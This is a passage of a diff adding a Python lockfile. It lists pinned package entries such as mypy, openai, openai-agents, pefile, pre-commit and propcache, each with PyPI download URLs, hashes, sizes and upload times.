+ { url = "https://files.pythonhosted.org/packages/5f/60/c3a5187bf66f6fb546ff4ab8fb5a077cbdd832d7b1908d4365c7f74a1917/multidict-6.7.1-cp314-cp314t-win32.whl", hash = "sha256:98655c737850c064a65e006a3df7c997cd3b220be4ec8fe26215760b9697d4d7", size = 48008, upload-time = "2026-01-26T02:46:07.468Z" },
+ { url = "https://files.pythonhosted.org/packages/0c/f7/addf1087b860ac60e6f382240f64fb99f8bfb532bb06f7c542b83c29ca61/multidict-6.7.1-cp314-cp314t-win_amd64.whl", hash = "sha256:497bde6223c212ba11d462853cfa4f0ae6ef97465033e7dc9940cdb3ab5b48e5", size = 53542, upload-time = "2026-01-26T02:46:08.809Z" },
+ { url = "https://files.pythonhosted.org/packages/4c/81/4629d0aa32302ef7b2ec65c75a728cc5ff4fa410c50096174c1632e70b3e/multidict-6.7.1-cp314-cp314t-win_arm64.whl", hash = "sha256:2bbd113e0d4af5db41d5ebfe9ccaff89de2120578164f86a5d17d5a576d1e5b2", size = 44719, upload-time = "2026-01-26T02:46:11.146Z" },
+ { url = "https://files.pythonhosted.org/packages/81/08/7036c080d7117f28a4af526d794aab6a84463126db031b007717c1a6676e/multidict-6.7.1-py3-none-any.whl", hash = "sha256:55d97cc6dae627efa6a6e548885712d4864b81110ac76fa4e534c03819fa4a56", size = 12319, upload-time = "2026-01-26T02:46:44.004Z" },
+]
+
+[[package]]
+name = "mypy"
+version = "2.1.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "ast-serialize" },
+ { name = "librt", marker = "platform_python_implementation != 'PyPy'" },
+ { name = "mypy-extensions" },
+ { name = "pathspec" },
+ { name = "typing-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/82/15/cca9d88503549ed6fedeaa1d448cdddd542ee8a490232d732e278036fbf2/mypy-2.1.0.tar.gz", hash = "sha256:81e76ad12c2d804512e9b13240d1588316531bfba07558286078bfbce9613633", size = 3898359, upload-time = "2026-05-11T18:37:36.237Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/95/b1/55861beb5c339b44f9a2ba92df9e2cb1eeb4ae1eee674cdf7772c797778b/mypy-2.1.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:244358bf1c0da7722230bce60683d52e8e9fd030554926f15b747a84efb5b3af", size = 14874381, upload-time = "2026-05-11T18:37:31.784Z" },
+ { url = "https://files.pythonhosted.org/packages/0b/b3/b7f770114b7d0ac92d0f76e8d93c2780844a70488a90e91821927850da86/mypy-2.1.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:4ec7c57657493c7a75534df2751c8ae2cda383c16ecc55d2106c54476b1b16f6", size = 13665501, upload-time = "2026-05-11T18:34:23.063Z" },
+ { url = "https://files.pythonhosted.org/packages/b6/f3/8ae2037967e2126689a0c11d99e2b707134a565191e92c60ca2572aec60a/mypy-2.1.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d8161b6ff4392410023224f0969d17db93e1e154bc3e4ba62598e720723ae211", size = 14045750, upload-time = "2026-05-11T18:31:48.151Z" },
+ { url = "https://files.pythonhosted.org/packages/a0/32/615eb5911859e43d054941b0d0a7d06cfa2870eba86529cf385b052b111c/mypy-2.1.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bf03e12003084a67395184d3eb8cbd6a489dc3655b5664b28c210a9e2403ab0b", size = 15061630, upload-time = "2026-05-11T18:37:06.898Z" },
+ { url = "https://files.pythonhosted.org/packages/d4/03/4eafbfff8bfab1b87082741eae6e6a624028c984e6708b73bce2a8570c9d/mypy-2.1.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:20509760fd791c51579d573153407d226385ec1f8bcce55d730b354f3336bc22", size = 15288831, upload-time = "2026-05-11T18:31:18.07Z" },
+ { url = "https://files.pythonhosted.org/packages/99/ee/919661478e5891a3c96e549c036e467e64563ab85995b10c53c8358e16a3/mypy-2.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:6753d0c1fdd6b1a23b9e4f283ce80b2153b724adcb2653b20b85a8a28ac6436b", size = 11135228, upload-time = "2026-05-11T18:34:31.23Z" },
+ { url = "https://files.pythonhosted.org/packages/24/0a/6a12b9782ca0831a553192f351679f4548abc9d19a7cc93bb7feb02084c7/mypy-2.1.0-cp312-cp312-win_arm64.whl", hash = "sha256:98ebb6589bb3b6d0c6f0c459d53ca55b8091fbc13d277c4041c885392e8195e8", size = 10040684, upload-time = "2026-05-11T18:36:48.199Z" },
+ { url = "https://files.pythonhosted.org/packages/6e/dd/c7191469c777f07689c032a8f7326e393ea34c92d6d76eb7ce5ba57ea66d/mypy-2.1.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:35aac3bb114e03888f535d5eb51b8bafbb3266586b599da1940f9b1be3ec5bd5", size = 14852174, upload-time = "2026-05-11T18:31:38.929Z" },
+ { url = "https://files.pythonhosted.org/packages/55/8c/aed55408879043d72bb9135f4d0d19a02b886dd569631e113e3d2706cb8d/mypy-2.1.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:8de55a8c861f2a49331f807be98d90caeceeef520bde13d43a160207f8af613e", size = 13651542, upload-time = "2026-05-11T18:36:04.636Z" },
+ { url = "https://files.pythonhosted.org/packages/3a/8e/f371a824b1f1fa8ea6e3dbb8703d232977d572be2329554a3bc4d960302f/mypy-2.1.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5fdf2941a07434af755837d9880f7d7d25f1dacb1af9dcd4b9b66f2220a3024e", size = 14033929, upload-time = "2026-05-11T18:35:55.742Z" },
+ { url = "https://files.pythonhosted.org/packages/94/21/f54be870d6dd53a82c674407e0f8eed7174b05ec78d42e5abd7b42e84fd5/mypy-2.1.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e195b817c13f02352a9c124301f9f30f078405444679b6753c1b96b6eed37285", size = 15039200, upload-time = "2026-05-11T18:33:10.281Z" },
+ { url = "https://files.pythonhosted.org/packages/17/99/bf21748626a40ce59fd29a39386ab46afec88b7bd2f0fa6c3a97c995523f/mypy-2.1.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:5431d42af987ebd92ba2f71d45c85ed41d8e6ca9f5fd209a69f68f707d2469e5", size = 15272690, upload-time = "2026-05-11T18:32:07.205Z" },
+ { url = "https://files.pythonhosted.org/packages/d6/d7/9e90d2cf47100bea550ed2bc7b0d4de3a62181d84d5e37da0003e8462637/mypy-2.1.0-cp313-cp313-win_amd64.whl", hash = "sha256:767fe8c66dc3e01e19e1737d4c38ebefead16125e1b8e58ad421903b376f5c65", size = 11147435, upload-time = "2026-05-11T18:33:56.477Z" },
+ { url = "https://files.pythonhosted.org/packages/ec/46/e5c449e858798e35ffc90946282a27c62a77be743fe17480e4977374eb91/mypy-2.1.0-cp313-cp313-win_arm64.whl", hash = "sha256:ecfe70d43775ab99562ab128ce49854a362044c9f894961f68f898c23cb7429d", size = 10035052, upload-time = "2026-05-11T18:32:30.049Z" },
+ { url = "https://files.pythonhosted.org/packages/b0/ca/b279a672e874aedd5498ae25f722dacc8aa86bbffb939b3f97cbb1cf6686/mypy-2.1.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:7354c5a7f69d9345c3d6e69921d57088eea3ddeeb6b20d34c1b3855b02c36ec2", size = 14848422, upload-time = "2026-05-11T18:35:45.984Z" },
+ { url = "https://files.pythonhosted.org/packages/27/e6/3efe56c631d959b9b4454e208b0ac4b7f4f58b404c89f8bec7b49efdfc21/mypy-2.1.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:49890d4f76ac9e06ec117f9e09f3174da70a620a0c300953d8595c926e80947f", size = 13677374, upload-time = "2026-05-11T18:36:57.188Z" },
+ { url = "https://files.pythonhosted.org/packages/84/7f/8107ea87a44fd1f1b59882442f033c9c3488c127201b1d1d15f1cbd6022e/mypy-2.1.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:761be68e023ef5d94678772396a8af1220030f80837a3afd8d0aef3b419666f4", size = 14055743, upload-time = "2026-05-11T18:35:18.361Z" },
+ { url = "https://files.pythonhosted.org/packages/51/4d/b6d34db183133b83761b9199a82d31557cdbb70a380d8c3b3438e11882a3/mypy-2.1.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c90345fc182dc363b891350457ec69c35140858538f38b4540845afcc32b1aef", size = 15020937, upload-time = "2026-05-11T18:34:59.618Z" },
+ { url = "https://files.pythonhosted.org/packages/ff/d7/f08360c691d758acb02f45022c34d98b92892f4ea756644e1000d4b9f3d8/mypy-2.1.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:b84802e7b5a6daf1f5e15bc9fcd7ddae77be13981ffab037f1c67bb84d67d135", size = 15253371, upload-time = "2026-05-11T18:36:41.081Z" },
+ { url = "https://files.pythonhosted.org/packages/67/1b/09460a13719530a19bce27bd3bc8449e83569dd2ba7faf51c9c3c30c0b61/mypy-2.1.0-cp314-cp314-win_amd64.whl", hash = "sha256:022c771234936ceac541ebaf836fe9e2abeb3f5e09aff21588fe543ff006fe21", size = 11326429, upload-time = "2026-05-11T18:34:13.526Z" },
+ { url = "https://files.pythonhosted.org/packages/40/62/75dbf0f82f7b6680340efc614af29dd0b3c17b8a4f1cd09b8bd2fd6bc814/mypy-2.1.0-cp314-cp314-win_arm64.whl", hash = "sha256:498207db725cec88829a6a5c2fc771205fd043719ef98bc49aba8fb9fc4e6d57", size = 10218799, upload-time = "2026-05-11T18:32:23.491Z" },
+ { url = "https://files.pythonhosted.org/packages/b2/66/caca04ed7d972fb6eb6dd1ccd6df1de5c38fae8c5b3dc1c4e8e0d85ee6b9/mypy-2.1.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:7d5e5cad0efeba72b93cd17490cc0d69c5ac9ca132994fe3fb0314808aeeb83e", size = 15923458, upload-time = "2026-05-11T18:35:28.64Z" },
+ { url = "https://files.pythonhosted.org/packages/ed/52/2d90cbe49d014b13ed7ff337930c30bad35893fe38a1e4641e756bb62191/mypy-2.1.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:ff715050c127d724fd260a2e666e7747fdd83511c0c47d449d98238970aef780", size = 14757697, upload-time = "2026-05-11T18:36:14.208Z" },
+ { url = "https://files.pythonhosted.org/packages/ac/37/d98f4a14e081b238992d0ed96b6d39c7cc0148c9699eb71eaa68629665ea/mypy-2.1.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:82208da9e09414d520e912d3e462d454854bed0810b71540bb016dcbca7308fd", size = 15405638, upload-time = "2026-05-11T18:33:48.249Z" },
+ { url = "https://files.pythonhosted.org/packages/a3/c2/15c46613b24a84fad2aea1248bf9619b99c2767ae9071fe224c179a0b7d4/mypy-2.1.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e79ebc1b904b84f0310dff7469655a9c36c7a68bddb37bdd42b67a332df61d08", size = 16215852, upload-time = "2026-05-11T18:32:50.296Z" },
+ { url = "https://files.pythonhosted.org/packages/5c/90/9c16a57f482c76d25f6379762b56bbf65c711d8158cf271fb2802cfb0640/mypy-2.1.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:e583edc957cfb0deb142079162ae826f58449b116c1d442f2d91c69d9fced081", size = 16452695, upload-time = "2026-05-11T18:33:38.182Z" },
+ { url = "https://files.pythonhosted.org/packages/0f/4c/215a4eeb63cacc5f17f516691ea7285d11e249802b942476bff15922a314/mypy-2.1.0-cp314-cp314t-win_amd64.whl", hash = "sha256:b33b6cd332695bba180d55e717a79d3038e479a2c49cc5eb3d53603409b9a5d7", size = 12866622, upload-time = "2026-05-11T18:34:39.945Z" },
+ { url = "https://files.pythonhosted.org/packages/4b/50/1043e1db5f455ffe4c9ab22747cd8ca2bc492b1e4f4e21b130a44ee2b217/mypy-2.1.0-cp314-cp314t-win_arm64.whl", hash = "sha256:4f910fe825376a7b66ef7ca8c98e5a149e8cd64c19ae71d84047a74ee060d4e6", size = 10610798, upload-time = "2026-05-11T18:36:31.444Z" },
+ { url = "https://files.pythonhosted.org/packages/0d/2a/13ca1f292f6db1b98ff495ef3467736b331621c5917cad984b7043e7348d/mypy-2.1.0-py3-none-any.whl", hash = "sha256:a663814603a5c563fb87a4f96fb473eeb30d1f5a4885afcf44f9db000a366289", size = 2693302, upload-time = "2026-05-11T18:31:29.246Z" },
+]
+
+[[package]]
+name = "mypy-extensions"
+version = "1.1.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/a2/6e/371856a3fb9d31ca8dac321cda606860fa4548858c0cc45d9d1d4ca2628b/mypy_extensions-1.1.0.tar.gz", hash = "sha256:52e68efc3284861e772bbcd66823fde5ae21fd2fdb51c62a211403730b916558", size = 6343, upload-time = "2025-04-22T14:54:24.164Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/79/7b/2c79738432f5c924bef5071f933bcc9efd0473bac3b4aa584a6f7c1c8df8/mypy_extensions-1.1.0-py3-none-any.whl", hash = "sha256:1be4cccdb0f2482337c4743e60421de3a356cd97508abadd57d47403e94f5505", size = 4963, upload-time = "2025-04-22T14:54:22.983Z" },
+]
+
+[[package]]
+name = "nodeenv"
+version = "1.10.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/24/bf/d1bda4f6168e0b2e9e5958945e01910052158313224ada5ce1fb2e1113b8/nodeenv-1.10.0.tar.gz", hash = "sha256:996c191ad80897d076bdfba80a41994c2b47c68e224c542b48feba42ba00f8bb", size = 55611, upload-time = "2025-12-20T14:08:54.006Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/88/b2/d0896bdcdc8d28a7fc5717c305f1a861c26e18c05047949fb371034d98bd/nodeenv-1.10.0-py2.py3-none-any.whl", hash = "sha256:5bb13e3eed2923615535339b3c620e76779af4cb4c6a90deccc9e36b274d3827", size = 23438, upload-time = "2025-12-20T14:08:52.782Z" },
+]
+
+[[package]]
+name = "openai"
+version = "2.44.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "anyio" },
+ { name = "distro" },
+ { name = "httpx" },
+ { name = "jiter" },
+ { name = "pydantic" },
+ { name = "sniffio" },
+ { name = "tqdm" },
+ { name = "typing-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/49/f5/7c7cb955305cb41f7f3c5fd7e0e38bf6bbf2658468863d4b7b868a5cb8df/openai-2.44.0.tar.gz", hash = "sha256:68a5a5ffad82b8ff7d451c437529fb64f7c3b8123aaf0c021966a882d9e3947d", size = 988753, upload-time = "2026-06-24T20:56:02.293Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/ae/f4/561ed79fd94876160018a5e75254cfcb9b0e62d4dded9dcb20072e86d623/openai-2.44.0-py3-none-any.whl", hash = "sha256:0a2a3ab2e29aeda368700f662ff9ba0f9df17ba4c54577a64e08b8115a3cc0ad", size = 1366216, upload-time = "2026-06-24T20:55:58.882Z" },
+]
+
+[[package]]
+name = "openai-agents"
+version = "0.14.6"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "griffelib" },
+ { name = "mcp" },
+ { name = "openai" },
+ { name = "pydantic" },
+ { name = "requests" },
+ { name = "types-requests" },
+ { name = "typing-extensions" },
+ { name = "websockets" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/d5/fe/4f859d13ba5eea5fe5a3166ffeed04bd04d478ccf3187da6acebb17ba2a7/openai_agents-0.14.6.tar.gz", hash = "sha256:e9d16b835f73be4c5e3798694f90d7a62efcade931e59416bc7462c850e15705", size = 5311175, upload-time = "2026-04-25T02:32:00.897Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/4b/96/b49d04e860c79699814289c273e88066ce97a50686172b5733b7458da062/openai_agents-0.14.6-py3-none-any.whl", hash = "sha256:fdd3fb459892c8af5d0b522908b544e96f6217c7254ba55e966424493b43c1ed", size = 816112, upload-time = "2026-04-25T02:31:58.976Z" },
+]
+
+[package.optional-dependencies]
+litellm = [
+ { name = "litellm" },
+]
+
+[[package]]
+name = "packaging"
+version = "26.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/d7/f1/e7a6dd94a8d4a5626c03e4e99c87f241ba9e350cd9e6d75123f992427270/packaging-26.2.tar.gz", hash = "sha256:ff452ff5a3e828ce110190feff1178bb1f2ea2281fa2075aadb987c2fb221661", size = 228134, upload-time = "2026-04-24T20:15:23.917Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/df/b2/87e62e8c3e2f4b32e5fe99e0b86d576da1312593b39f47d8ceef365e95ed/packaging-26.2-py3-none-any.whl", hash = "sha256:5fc45236b9446107ff2415ce77c807cee2862cb6fac22b8a73826d0693b0980e", size = 100195, upload-time = "2026-04-24T20:15:22.081Z" },
+]
+
+[[package]]
+name = "pathspec"
+version = "1.1.1"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/5a/82/42f767fc1c1143d6fd36efb827202a2d997a375e160a71eb2888a925aac1/pathspec-1.1.1.tar.gz", hash = "sha256:17db5ecd524104a120e173814c90367a96a98d07c45b2e10c2f3919fff91bf5a", size = 135180, upload-time = "2026-04-27T01:46:08.907Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/f1/d9/7fb5aa316bc299258e68c73ba3bddbc499654a07f151cba08f6153988714/pathspec-1.1.1-py3-none-any.whl", hash = "sha256:a00ce642f577bf7f473932318056212bc4f8bfdf53128c78bbd5af0b9b20b189", size = 57328, upload-time = "2026-04-27T01:46:07.06Z" },
+]
+
+[[package]]
+name = "pefile"
+version = "2024.8.26"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/03/4f/2750f7f6f025a1507cd3b7218691671eecfd0bbebebe8b39aa0fe1d360b8/pefile-2024.8.26.tar.gz", hash = "sha256:3ff6c5d8b43e8c37bb6e6dd5085658d658a7a0bdcd20b6a07b1fcfc1c4e9d632", size = 76008, upload-time = "2024-08-26T20:58:38.155Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/54/16/12b82f791c7f50ddec566873d5bdd245baa1491bac11d15ffb98aecc8f8b/pefile-2024.8.26-py3-none-any.whl", hash = "sha256:76f8b485dcd3b1bb8166f1128d395fa3d87af26360c2358fb75b80019b957c6f", size = 74766, upload-time = "2024-08-26T21:01:02.632Z" },
+]
+
+[[package]]
+name = "platformdirs"
+version = "4.10.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/d7/47/e4501f49c178ae1d9f4a75073fda4204f52647993f075a9db4d14930e0c5/platformdirs-4.10.0.tar.gz", hash = "sha256:31e761a6a0ca04faf7353ea759bdba55652be214725111e5aac52dfa29d4bef7", size = 31224, upload-time = "2026-05-28T03:32:53.587Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/81/e6/cd9575ac904136b3cbf7aa7ee819ef86eedb7274e46f230e94ea4342e729/platformdirs-4.10.0-py3-none-any.whl", hash = "sha256:fb516cdb12eb0d857d0cd85a7c57cea4d060bee4578d6cf5a14dfdf8cbf8784a", size = 22743, upload-time = "2026-05-28T03:32:52.175Z" },
+]
+
+[[package]]
+name = "pluggy"
+version = "1.6.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" },
+]
+
+[[package]]
+name = "pre-commit"
+version = "4.6.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "cfgv" },
+ { name = "identify" },
+ { name = "nodeenv" },
+ { name = "pyyaml" },
+ { name = "virtualenv" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/8e/22/2de9408ac81acbb8a7d05d4cc064a152ccf33b3d480ebe0cd292153db239/pre_commit-4.6.0.tar.gz", hash = "sha256:718d2208cef53fdc38206e40524a6d4d9576d103eb16f0fec11c875e7716e9d9", size = 198525, upload-time = "2026-04-21T20:31:41.613Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/80/6e/4b28b62ecb6aae56769c34a8ff1d661473ec1e9519e2d5f8b2c150086b26/pre_commit-4.6.0-py2.py3-none-any.whl", hash = "sha256:e2cf246f7299edcabcf15f9b0571fdce06058527f0a06535068a86d38089f29b", size = 226472, upload-time = "2026-04-21T20:31:40.092Z" },
+]
+
+[[package]]
+name = "propcache"
+version = "0.5.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/ec/44/c87281c333769159c50594f22610f77398a47ccbfbbf23074e744e86f87c/propcache-0.5.2.tar.gz", hash = "sha256:01c4fc7480cd0598bb4b57022df55b9ca296da7fc5a8760bd8451a7e63a7d427", size = 50208, upload-time = "2026-05-08T21:02:12.199Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/4a/cb/e27bc2b2737a0bb49962b275efa051e8f1c35a936df7d5139b6b658b7dc9/propcache-0.5.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:806719138ecd720339a12410fb9614ac9b2b2d3a5fdf8235d56981c36f4039ba", size = 95887, upload-time = "2026-05-08T21:00:11.277Z" },
+ { url = "https://files.pythonhosted.org/packages/e6/13/b8ae04c59392f8d11c6cd9fb4011d1dc7c86b81225c770280300e259ffe1/propcache-0.5.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:db2b80ea58eab4f86b2beec3cc8b39e8ff9276ac20e96b7cce43c8ae84cd6b5a", size = 54654, upload-time = "2026-05-08T21:00:12.604Z" },
+ { url = "https://files.pythonhosted.org/packages/2c/7d/49777a3e20b55863d4794384a38acd460c04157b0a00f8602b0d508b8431/propcache-0.5.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:e5cbfac9f61484f7e9f3597775500cd3ebe8274e9b050c38f9525c77c97520bf", size = 55190, upload-time = "2026-05-08T21:00:13.935Z" },
+ { url = "https://files.pythonhosted.org/packages/44/c7/085d0cd63062e84044e3f05797749c3f8e3938ff3aeb0eb2f69d43fafc91/propcache-0.5.2-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5dbc581d2814337da56222fab8dc5f161cd798a434e49bac27930aaef798e144", size = 59995, upload-time = "2026-05-08T21:00:15.526Z" },
+ { url = "https://files.pythonhosted.org/packages/9c/42/32cf8e3009e92b2645cf1e944f701e8ea4e924dffde1ee26db860bcbf7e4/propcache-0.5.2-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:857187f381f88c8e2fa2fe56ab94879d011b883d5a2ee5a1b60a8cd2a06846d9", size = 63422, upload-time = "2026-05-08T21:00:16.824Z" },
+ { url = "https://files.pythonhosted.org/packages/9e/1b/f112433f99fc979431b87a39ef169e3f8df070d99a72792c56d6937ac48b/propcache-0.5.2-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:178b4a2cdaac1818e2bf1c5a99b94383fa73ea5382e032a48dec07dc5668dc42", size = 64342, upload-time = "2026-05-08T21:00:18.362Z" },
+ { url = "https://files.pythonhosted.org/packages/14/15/5574111ae50dd6e879456888c0eadd4c5a869959775854e18e18a6b345f3/propcache-0.5.2-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6f328175a2cde1f0ff2c4ed8ce968b9dcfb55f3a7153f39e2957ed994da13476", size = 61639, upload-time = "2026-05-08T21:00:19.692Z" },
+ { url = "https://files.pythonhosted.org/packages/cc/da/4d775080b1490c0ae604acda868bd71aabe3a89ed16f2aa4339eb8a283e7/propcache-0.5.2-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:5671d09a36b06d0fd4a3da0fccbcae360e9b1570924171a15e9e0997f0249fba", size = 61588, upload-time = "2026-05-08T21:00:21.155Z" },
+ { url = "https://files.pythonhosted.org/packages/04/ac/f076982cbe2195ee9cf32de5a1e46951d9fb399fc207f390562dd0fd8fb2/propcache-0.5.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:80168e2ebe4d3ec6599d10ad8f520304ae1cad9b6c5a95372aef1b66b7bfb53a", size = 60029, upload-time = "2026-05-08T21:00:22.713Z" },
+ { url = "https://files.pythonhosted.org/packages/70/60/189be62e0dd898dce3b331e1b8c7a543cd3a405ac0c81fe8ee8a9d5d77e1/propcache-0.5.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:45f11346f884bc47444f6e6647131055844134c3175b629f84952e2b5cd62b64", size = 56774, upload-time = "2026-05-08T21:00:24.001Z" },
+ { url = "https://files.pythonhosted.org/packages/ea/9e/93377b9c7939c1ffae98f878dee955efadfd638078bc86dbc21f9d52f651/propcache-0.5.2-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:8e778ebd44ef4f66ed60a0416b06b489687db264a9c0b3620362f26489492913", size = 63532, upload-time = "2026-05-08T21:00:25.545Z" },
+ { url = "https://files.pythonhosted.org/packages/14/f9/590ef6cfb9b8028d516d287812ece32bb0bc5f11fbb9c8bf6b2e6313fec8/propcache-0.5.2-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:c0cb9ed24c8964e172768d455a38254c2dd8a552905729ce006cad3d3dda59b1", size = 61592, upload-time = "2026-05-08T21:00:27.186Z" },
+ { url = "https://files.pythonhosted.org/packages/b4/5e/70958b3034c297a630bba2f17ca7abc2d5f39a803ad7e370ab79d1ecd022/propcache-0.5.2-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:1d1ad32d9d4355e2be65574fd0bfd3677e7066b009cd5b9b2dee8aa6a6393b33", size = 64788, upload-time = "2026-05-08T21:00:28.8Z" },
+ { url = "https://files.pythonhosted.org/packages/12/fd/77fe5936d8c3086ca9048f7f415f122ed82e53884a9ec193646b42deef06/propcache-0.5.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c80f4ba3e8f00189165999a742ee526ebeccedf6c3f7beb0c7df821e9772435a", size = 62514, upload-time = "2026-05-08T21:00:30.098Z" },
+ { url = "https://files.pythonhosted.org/packages/cf/74/66bd798b5b3be70aa1b391f5cc9d6a0a5532d7fd3b19ec0b213e72e6ad9d/propcache-0.5.2-cp312-cp312-win32.whl", hash = "sha256:8c7972d8f193740d9175f0998ab38717e6cd322d5935c5b0fef8c0d323fd9031", size = 39018, upload-time = "2026-05-08T21:00:31.622Z" },
+ { url = "https://files.pythonhosted.org/packages/61/7c/5c0d34aa3024694d6dcb9271cdbdd08c4e47c1c0ad95ec7e7bc74cdea145/propcache-0.5.2-cp312-cp312-win_amd64.whl", hash = "sha256:d9ee8826a7d47863a08ac44e1a5f611a462eefc3a194b492da242128bec75b42", size = 42322, upload-time = "2026-05-08T21:00:32.918Z" },
+ { url = "https://files.pythonhosted.org/packages/4d/91/875812f1a3feb20ceba818ef39fbe4d92f1081e04ac815c822496d0d038b/propcache-0.5.2-cp312-cp312-win_arm64.whl", hash = "sha256:2800a4a8ead6b28cccd1ec54b59346f0def7922ee1c7598e8499c733cfbb7c84", size = 38172, upload-time = "2026-05-08T21:00:35.124Z" },
+ { url = "https://files.pythonhosted.org/packages/c5/09/f049e45385503fe67db75a6b6186a7b9f0c3930366dc960522c312a825b1/propcache-0.5.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:099aaf4b4d1a02265b92a977edf00b5c4f63b3b17ac6de39b0d637c9cac0188a", size = 94457, upload-time = "2026-05-08T21:00:36.355Z" },
+ { url = "https://files.pythonhosted.org/packages/6b/65/83d1d05655baf63113731bd5a1008435e14f8d1e5a06cbe4ec5b23ad7a31/propcache-0.5.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:68ce1c44c7a813a7f71ea04315a8c7b330b63db99d059a797a4651bb6f69f117", size = 53835, upload-time = "2026-05-08T21:00:38.072Z" },
+ { url = "https://files.pythonhosted.org/packages/a9/12/a6ba6482bb5ea3260c000c9b20881c95fa11c6b30173715668259f844ed7/propcache-0.5.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:fc299c129490f55f254cd90be0deca4764e36e9a7c08b4aa588479a3bbed3098", size = 54545, upload-time = "2026-05-08T21:00:39.319Z" },
